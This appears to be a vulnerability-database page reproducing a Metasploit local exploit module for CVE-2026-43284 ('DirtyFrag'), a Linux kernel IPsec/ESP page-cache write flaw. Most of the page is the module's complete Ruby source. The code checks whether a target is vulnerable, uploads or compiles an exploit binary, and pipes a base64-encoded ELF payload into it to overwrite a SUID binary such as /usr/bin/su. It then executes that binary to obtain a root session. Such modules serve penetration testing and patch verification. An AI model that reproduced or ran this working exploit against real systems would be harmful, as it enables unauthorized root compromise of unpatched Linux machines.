METASPLOIT 8.8 HIGH

xfrm-ESP Page-Cache Write via CVE-2026-43284_MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_43284_DIRTY_FRAG-

8.8 / 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Description

CVE-2026-43284 is a Linux kernel page-cache write vulnerability in the IPsec/xfrm subsystem affecting ESP Encapsulating Security Payload fragmentation. Dubbed "DirtyFrag", the bug allows a local unprivileged user to gain write access to read-only...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_43284_DIRTY_FRAG-
Published May 21, 2026 at 19:01

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'xfrm-ESP Page-Cache Write via CVE-2026-43284',
'Description' => %q{
CVE-2026-43284 is a Linux kernel page-cache write vulnerability in the IPsec/xfrm
subsystem affecting ESP (Encapsulating Security Payload) fragmentation. Dubbed
"DirtyFrag", the bug allows a local unprivileged user to gain write access to read-only
page-cache pages by triggering a race condition in how the kernel handles shared fragments
when processing ESP-encapsulated UDP packets. The exploit overwrites a SUID binary on disk
to execute an arbitrary payload as root.
},
'License' => MSF_LICENSE,
'Author' => [
'Hyunwoo Kim', # Discovery
'Giovanni Heward', # Original module
],
'References' => [
['CVE', '2026-43284'],
['URL', 'https://github.com/V4bel/dirtyfrag'],
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => [ 'linux', 'unix'],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Auto', {} ]],
'DisclosureDate' => '2026-05-08',
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
}
)
)

register_options([
OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),
OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])
])
end

def check
dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')

return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?

vuln_modules = %w[esp ipcomp]
return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }

kernel_version = Rex::Version.new kernel_release.split('-').first

return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')

CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
end

def exploit
suid_binary_path = datastore['SUID_BINARY_PATH']

fail_with(Failure::BadConfig, "The #{suid_binary_path} does not exists on target system") unless setuid?(suid_binary_path)

payload_dir = datastore['WRITABLE_DIR']
fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)

arch = kernel_arch

cmd_payload = framework.payloads.create("linux/#{arch}/exec")
fail_with(Failure::NoTarget, "#{arch} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')

cmd_payload.datastore['CMD'] = payload.encoded
cmd_payload.datastore['PrependSetuid'] = true
elf = cmd_payload.generate_simple('Format' => 'elf')

# add padding
elf += "\xff" * ((4 - (elf.size % 4)) % 4)

exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

if live_compile?
vprint_status('Live compiling exploit on system...')
exploit_c = exploit_data('CVE-2026-43284', 'CVE_2026_43284.c')
upload_and_compile(exploit_file, exploit_c)
else

fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch)
vprint_status('Dropping pre-compiled exploit on system...')

exploit_bin = exploit_data('CVE-2026-43284', "CVE_2026_43284_#{arch}")
upload_and_chmodx(exploit_file, exploit_bin)
end

register_file_for_cleanup(exploit_file)

print_status(%(Trying to run the exploit: "echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}"))
# patch the setuid file
response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}")

fail_with(Failure::NotVulnerable, 'The target machine does not seem to be vulnerable') unless response.include?('payload delivered')

print_status('Running the payload')
# run the payload
cmd_exec(suid_binary_path.to_s)
end

def on_new_session(session)
print_status('Restoring balance in galaxy')
if session.type.eql?('meterpreter')
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
session.sys.process.execute('/bin/sh', "-c 'echo 3 > /proc/sys/vm/drop_caches")
else
session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches')
end

super
end

end

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.